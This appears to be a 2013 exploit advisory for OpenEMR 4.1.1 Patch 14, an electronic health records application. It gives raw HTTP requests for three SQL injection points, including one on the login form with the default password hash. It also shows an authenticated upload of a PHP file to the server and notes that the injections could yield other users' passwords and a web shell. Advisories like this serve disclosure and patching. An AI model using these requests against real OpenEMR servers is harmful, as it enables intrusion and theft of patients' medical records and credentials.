#################################################################################################################################### Exploit Title: OpenEMR 4.1.1 Patch 14 Multiple Vulnerabilities# Date: Sep 17 2013# Exploit Author: xistence < xistence[at]0x90[.]nl ># Vendor Homepage: www.open-emr.org# Tested on: CentOS 5.9 32-bit# Affected Version :4.1.1 Patch 14 and lower# Fix: Upgrade to OpenEMR 4.1.2## Software details:## OpenEMR is a Free and Open Source electronic health records and medical practice management application that can run on# Windows, Linux, Mac OS X, and many other platforms. OpenEMR is ONC Complete Ambulatory EHR certified and is one of# the most popular open source electronic medical records in use today. OpenEMR is supported by a strong community of# volunteers #and professionals all with the common goal of making OpenEMR a superior alternative to its proprietary counterparts.# The OpenEMR community is dedicated to guarding OpenEMR's status as a free, open source software solution for # medicalpractices# and is dedicated to maintaining a spirit of openness, kindness and cooperation.####################################################################################################################################[ SQL Injection ][0x01]- The "authProvider" parameter in the "interface/main/main_screen.php" POST script is vulnerable to SQL Injection. A valid "authPass" password is needed before injection is possible (hash below is the default password "pass")
POST /openemr/interface/main/main_screen.php?auth=login&site=default HTTP/1.1
Host:<IP>
Referer: http://<IP>/openemr/interface/login/login.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length:135
authProvider=Default'[SQLi]&authUser=admin&clearPass=&languageChoice=1&authPass=9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684&authNewPass=
The POST request below could be used to retrieve passwords from other users and gain higher privileges (and after that upload a shell)[0x02]- The "form_pubid" parameter in the "interface/new/new_comprehensive_save.php" script is vulnerable to SQL Injection.
POST /openemr/interface/new/new_comprehensive_save.php HTTP/1.1
Host:<IP>
Referer: http://<IP>/openemr/interface/new/new.php
Cookie: OpenEMR=blahblahblah
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length:286
form_cb_1=1&form_title=Mr.&form_fname=pwned&form_mname=&form_lname=pwned&form_pubpid=[SQLi]&form_DOB=2013-07-15&form_sex=Female&form_ss=&form_drivers_license=&form_status=&form_genericname1=&form_genericval1=&form_genericname2=&form_genericval2=&form_cb_2=1&form_street=&form_city=&form_stat
[0x03]- The "set_pid" parameter in the "interface/patient_file/summary/demographics.php" script is vulnerable to SQL Injection.
http://<IP>/openemr/interface/patient_file/summary/demographics.php?set_pid=-1[SQLi][ Arbitrary file upload ][0x01]- It's possible to upload anyfile after being authenticated.
POST /openemr/interface/super/manage_site_files.php HTTP/1.1
Host:<IP>
Referer: http://<IP>/openemr/interface/super/manage_site_files.php
Cookie: OpenEMR=blahblahblah
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------6745387234061449481375110870
Content-Length:355-----------------------------6745387234061449481375110870
Content-Disposition: form-data; name="form_image"; filename="pwned.php"
Content-Type: text/php
<?php phpinfo(); ?>-----------------------------6745387234061449481375110870
Content-Disposition: form-data; name="bn_save"
Save
-----------------------------6745387234061449481375110870--
